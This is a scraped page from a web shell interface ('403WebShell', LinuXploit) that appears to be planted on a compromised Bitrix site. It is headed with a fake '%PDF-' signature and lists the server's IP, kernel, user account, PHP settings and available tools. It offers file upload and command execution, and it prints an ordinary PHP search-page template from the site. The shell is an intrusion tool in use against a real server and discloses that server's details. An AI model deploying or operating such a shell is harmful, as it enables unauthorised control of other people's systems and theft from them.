%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.77.73
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/arturgolubev/search.page/artlot24/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/arturgolubev/search.page/artlot24//template.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();
global $APPLICATION;

if($arResult["DEBUG"]["SHOW"] == 'Y')
{
	echo '
	Debug Info:
	<pre>';
		echo 'Type: '; print_r($arResult["DEBUG"]["TYPE"]); echo "\r\n";
		echo 'Mode: '; print_r($arResult["DEBUG"]["SMARTMODE"]); echo "\r\n";
		echo 'Max count: '; print_r($arResult["DEBUG"]["TOP_COUNT"]); echo "\r\n";
		
		echo 'F List: '; print_r($arResult["DEBUG"]["RESULT_WORDS"]); echo "\r\n";
		echo 'Q List: '; print_r($arResult["DEBUG"]["Q"]); echo "\r\n";
		echo 'Times: '; print_r($arResult["DEBUG"]["TIMES"]); echo "\r\n";
	echo '</pre>';
	
	if(false)
	// if(true)
	{
		foreach($arResult["SEARCH"] as $arItem){
			?>
			<div class="">
				<?echo '<pre>'; print_r($arItem["TITLE_SF"].' ('.$arItem["TITLE"].') ['.$arItem["ITEM_ID"].']'); echo '</pre>';?>
				<?echo '<pre>'; print_r('CUSTOM_RANK = '.$arItem["CUSTOM_RANK"].'; TITLE_RANK = '.$arItem["TITLE_RANK"]); echo '</pre>';?>
			</div>
			<?
		}
	}
} 
?>
<?/*
<div class="bx-ag-search-page search-page <?=$arResult["VISUAL_PARAMS"]["THEME_CLASS"]?>">
	<form action="" method="get">
		<input placeholder="<?=$arParams["INPUT_PLACEHOLDER"]?>" type="text" name="q" value="<?=$arResult["REQUEST"]["QUERY"]?>" size="50" />
		
		&nbsp;<input type="submit" value="<?=GetMessage("SEARCH_GO")?>" />
		<input type="hidden" name="how" value="<?echo $arResult["REQUEST"]["HOW"]=="d"? "d": "r"?>" />
	<?if($arParams["SHOW_WHEN"]):?>
		<script>
		var switch_search_params = function()
		{
			var sp = document.getElementById('search_params');
			var flag;

			if(sp.style.display == 'none')
			{
				flag = false;
				sp.style.display = 'block'
			}
			else
			{
				flag = true;
				sp.style.display = 'none';
			}

			var from = document.getElementsByName('from');
			for(var i = 0; i < from.length; i++)
				if(from[i].type.toLowerCase() == 'text')
					from[i].disabled = flag

			var to = document.getElementsByName('to');
			for(var i = 0; i < to.length; i++)
				if(to[i].type.toLowerCase() == 'text')
					to[i].disabled = flag

			return false;
		}
		</script>
		<br /><a class="search-page-params" href="#" onclick="return switch_search_params()"><?echo GetMessage('CT_BSP_ADDITIONAL_PARAMS')?></a>
		<div id="search_params" class="search-page-params" style="display:<?echo $arResult["REQUEST"]["FROM"] || $arResult["REQUEST"]["TO"]? 'block': 'none'?>">
			<?$APPLICATION->IncludeComponent(
				'bitrix:main.calendar',
				'',
				array(
					'SHOW_INPUT' => 'Y',
					'INPUT_NAME' => 'from',
					'INPUT_VALUE' => $arResult["REQUEST"]["~FROM"],
					'INPUT_NAME_FINISH' => 'to',
					'INPUT_VALUE_FINISH' =>$arResult["REQUEST"]["~TO"],
					'INPUT_ADDITIONAL_ATTR' => 'size="10"',
				),
				null,
				array('HIDE_ICONS' => 'Y')
			);?>
		</div>
	<?endif?>
	</form><br />

	<?if(isset($arResult["REQUEST"]["ORIGINAL_QUERY"])):
		?>
		<div class="search-language-guess">
			<?echo GetMessage("CT_BSP_KEYBOARD_WARNING", array("#query#"=>'<a href="'.$arResult["ORIGINAL_QUERY_URL"].'">'.$arResult["REQUEST"]["ORIGINAL_QUERY"].'</a>'))?>
		</div><br /><?
	endif;?>
	
	<?if($arResult["VISUAL_PARAMS"]["CLARIFY_SECTION"] && count($arResult["CLARIFY_SECTION"]) > 1):?>
		<div class="ag-spage-clarify-list">
			<div class="ag-spage-clarify-title"><?=GetMessage("AG_SPAGE_CLARIFY_SECTION");?></div>
			
			<a class="ag-spage-clarify-item <?if($arResult["SELECTED_SECTION"] == "") echo 'selected';?>" href="<?=$APPLICATION->GetCurPageParam("", array("section"))?>"><?=GetMessage("AG_SPAGE_CLARIFY_SECTION_ALL");?></a>
			
			<?foreach($arResult["CLARIFY_SECTION"] as $section):?>
				<a class="ag-spage-clarify-item <?if($arResult["SELECTED_SECTION"] == $section["ID"]) echo 'selected';?>" href="<?=$APPLICATION->GetCurPageParam('section='.$section["ID"], array("section"))?>"><?=$section["NAME"]?> (<?=$section["CNT"]?>)</a>
			<?endforeach;?>
		</div>
	<?endif;?>
	
	<?/* if(count($arResult["SEARCH"])>0):?>
		<div class="search-view-default">
			<b><?=GetMessage("AG_SPAGE_CLARIFY_SECTION")?>:</b>
			
			<?foreach($arResult["SEARCH"] as $arItem):
			if(!strstr($arItem["ITEM_ID"],'S')) continue;
			?>
				<div>
					<a class="search-title" href="<?echo $arItem["URL"]?>"><?echo $arItem["TITLE_FORMATED"]?></a>
				</div>
			<?endforeach;?>
		</div>
	<?endif; 
</div>


<?if($arResult["VISUAL_PARAMS"]["THEME_COLOR"]):?>
	<style>
		.search-page hr, .search-page input[type=text], .search-page input[type=submit], .ag-spage-clarify-item, .ag-spage-clarify-item:hover {
			border-color: <?=$arResult["VISUAL_PARAMS"]["THEME_COLOR"]?> !important;
		}
		.search-page input[type=submit] {
			background-color: <?=$arResult["VISUAL_PARAMS"]["THEME_COLOR"]?> !important;
		}
	</style>
<?endif;?>
*/?>

Youez - 2016 - github.com/yon3zu
LinuXploit